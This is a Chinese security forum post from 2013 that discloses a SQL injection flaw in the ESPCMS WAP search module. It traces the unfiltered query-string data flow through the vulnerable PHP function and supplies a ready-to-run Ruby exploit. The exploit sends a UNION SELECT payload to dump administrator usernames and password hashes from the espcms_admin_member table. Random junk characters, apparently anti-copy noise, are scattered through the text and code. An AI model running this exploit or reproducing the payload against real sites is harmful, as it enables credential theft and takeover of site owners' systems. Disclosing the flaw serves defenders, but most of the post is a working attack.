找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2557|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节
3 i% V# {5 F5 o# n6 x0×2 PoC3 N  |; @3 \% r# h$ S' W' j
8 Q  S3 _4 I/ A, n

, Q$ S0 L* ?' O. m! M0 Y* }) ^) x0 [* K% Z6 v; Z% `" B
0×0 漏洞概述
' g, U, H" N+ s+ v3 Q! x
8 @) {2 G( l, T# }. U易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。1 P8 Q7 P7 f: y; _
其在处理传入的参数时考虑不严谨导致SQL注入发生# z8 S/ d: r! K& L/ N# Y0 v. T

* w3 u% _1 d1 w; p5 X
' J. _$ y! J" M" y" ~0×1 漏洞细节9 n$ W' \5 G- o6 _3 ?# a

6 i9 T+ S+ Z( Z0 V; t9 ]0 z! w变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。2 W: h$ o, S8 ~  u/ X9 M
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
$ {( M& i3 }) g0 x& h7 q而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入. F8 q/ L- R! z
1 D/ n8 J1 J4 Q
在/interface/3gwap_search.php文件的in_result函数中:( t( Q, `% R  y2 d! K
; U' ^* w$ ~- A' B) Q  c) R

5 f* f3 P/ X7 Y' a* I9 Z5 a1 [6 X  i3 x' [
       function in_result() {' Q9 {, I, P9 I8 z
            ... ... ... ... ... ... ... ... ...( n' n' W5 G: L3 |3 N
            $urlcode = $_SERVER[ 'QUERY_STRING '];
0 l# C( r5 ]$ g  X0 D            parse_str(html_entity_decode($urlcode), $output);5 C* h7 K/ I- a
( s4 T9 Q/ F- P6 Y  F) W4 b
            ... ... ... ... ... ... ... ... ...
4 u6 k9 c: G5 d, ]' g& D            if (is_array($output['attr' ]) && count($output['attr']) > 0) {
6 ]4 n( f& ]6 K  H' R0 i. z
8 e0 D" [+ K: f                  $db_table = db_prefix . 'model_att';
8 U) j! Z* |) i& w4 ]# Y
# d# G; T6 X$ S8 |2 A0 S. x* k                   foreach ($output['attr' ] as $key => $value) {
- V% O7 s/ L  m7 ]  l                         if ($value) {( _. F# R/ C  n! U: d

$ J0 o9 o' _! k5 G9 {4 F                              $key = addslashes($key);" ^2 w8 m& t4 k: ~6 `( P
                              $key = $this-> fun->inputcodetrim($key);
/ L, G  M3 `4 U! `% R0 Z+ _                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";
- ]+ L9 R/ `7 I: Q0 h! _                              $countnum = $this->db_numrows($db_table, $db_att_where);
9 S" G1 b- K1 {/ k. @4 V                               if ($countnum > 0) {
$ q2 K. K+ u$ e% ^/ T9 R                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
) q0 [7 a" P- _6 r& {# I                              }
# B" S# |3 E! o3 B, y* m                        }0 b! }4 X" k% D3 p5 D" {
                  }
+ T: H2 N) o! v8 ~! U2 n            }
+ u, h# ~% q- G9 N2 d            if (!empty ($keyword) && empty($keyname)) {
! ]+ N! g- c. ]- V$ K1 T; [8 c                  $keyname = 'title';! \4 s1 z" s$ r/ t! M# E. b
                  $db_where.= " AND a.title like '%$keyword%'" ;, j/ J4 {3 H# p( S' @  m2 n
            } elseif (!empty ($keyword) && !empty($keyname)) {- b9 P' F* N- ~6 e4 {4 o3 x/ y+ E
                  $db_where.= " AND $keyname like '% $keyword%'";5 C% K0 i% X! I" W' G- g
            }
1 ^3 v; s. u# |; T, z  R2 k* y; Z  u5 Q            $pagemax = 15;! T$ x% T% d, u9 k/ @

% d0 u7 ]  a% D            $pagesylte = 1;# N+ Z; m4 j. a; R# l0 s$ e

/ S# X4 K! f& {! l0 V             if ($countnum > 0) {
' i' m& F1 ?0 o* O! |0 K. x. J4 b4 H+ ^+ x/ G6 p
                  $numpage = ceil($countnum / $pagemax);
. H: T3 z, }! Z, ]: o! \            } else {
; P* A! u  ^7 h2 H& ^0 G3 x                  $numpage = 1;1 U. R7 B, P% i" J
            }
. `0 I/ D6 t/ g( o7 K            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;' B# L2 J' M2 v/ Z! r4 ?
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);6 n) `9 w6 }- S6 x5 r; K
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);0 E( {' I7 A+ G2 j( Q8 V2 D
            ... ... ... ... ... ... ... ... ...2 m3 a. Y* E3 ~
      }
  ], }& I4 i5 X, R  q" R/ A7 J$ h- Q$ p$ `9 d

* u- m+ Z4 P3 Y1 W( H0×2 PoC
+ e& i" h2 S# I8 f9 o( A" ^, Y
' c3 d' B# z6 Z2 \  T' [- p6 f" V- x
; g+ Y3 B$ z$ X( ~/ P
require "net/http"
: e' _$ B" H' `; p
, U$ [9 k2 S) I" F9 P0 j: odef request(method, url)# c, l( {% A; m( F$ D+ v
    if method.eql?("get")8 G' H7 x2 Y7 E" J( f" _6 S
        uri = URI.parse(url)
- F& q3 Z) a5 f        http = Net::HTTP.new(uri.host, uri.port)& `8 p) r! W: J
        response = http.request(Net::HTTP::Get.new(uri.request_uri))
/ l2 s$ Q6 d+ e! i        return response
0 s9 }6 B' w" \4 K& b    end
" P4 x2 E4 H" r5 R4 {) Jend5 X4 m1 D, `0 E  s. H8 t: q
% ?& g+ V* N3 O
doc =<<HERE5 s5 }- u5 x$ d1 F( W
-------------------------------------------------------, _- L; F# A7 p+ S
Espcms Injection Exploit
/ k0 K+ z$ q. g9 D% i' lAuthor:ztz
8 x3 I! v0 Z4 V2 k5 Q: K; jBlog:http://ztz.fuzzexp.org/2 ~  @) o7 H1 V9 w) K7 X( j4 |/ m
-------------------------------------------------------5 L$ d0 d0 s0 v5 ^4 m4 \" j7 E7 l

; V- |5 Q( Z$ eHERE
/ I7 g5 w5 ]/ D" P  c: V% D5 j4 ]1 i  L! m) c( L
usage =<<HERE$ q8 ?3 a+ v2 |) c% l" j, z
Usage:         ruby #{$0} host port path
  U( Z% F  x- e  [; b- L" Eexample:     ruby #{$0} www.target.com 80 /
" d9 }. c  t$ UHERE$ `9 ~4 J6 K% ?+ I3 ]% s; ~9 l

/ q% w; \+ r5 H7 F9 `. uputs doc
4 i4 \! c: }2 jif ARGV.length < 31 J! f; B7 @1 n* ]6 B+ N
    puts usage
" h, |+ `- `4 ]" h. q' O. celse+ S( w+ M; C4 W1 S
    $host = ARGV[0]
( E5 D/ `( u% S3 o& @    $port = ARGV[1]+ }9 L: A) N4 P& }% E6 z  \; R
    $path = ARGV[2]
/ I/ b5 c* _0 [* l
+ O( r6 A$ E) {6 C' I' t3 q, {    puts "
  • send request..."! }* P5 S  |3 P5 }3 x: i
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&" B0 T% S, C9 r8 R& A
    attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13. @6 F4 W' c  o/ Q# \0 Y1 t( B
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27+ i' s" P! n0 z' Q$ P
    ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"! @; i6 a' C0 ~: F
        response = request("get", url)3 M, T+ g. O" @1 B
        result = response.body.scan(/\w+&\w{32}/)3 S: {, C8 n) R, O
        puts result) u8 n2 r1 j3 I1 O8 c: q
    end
    , |: I, b/ }3 C0 r- j7 w2 e# [8 `9 q! _9 \- g
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表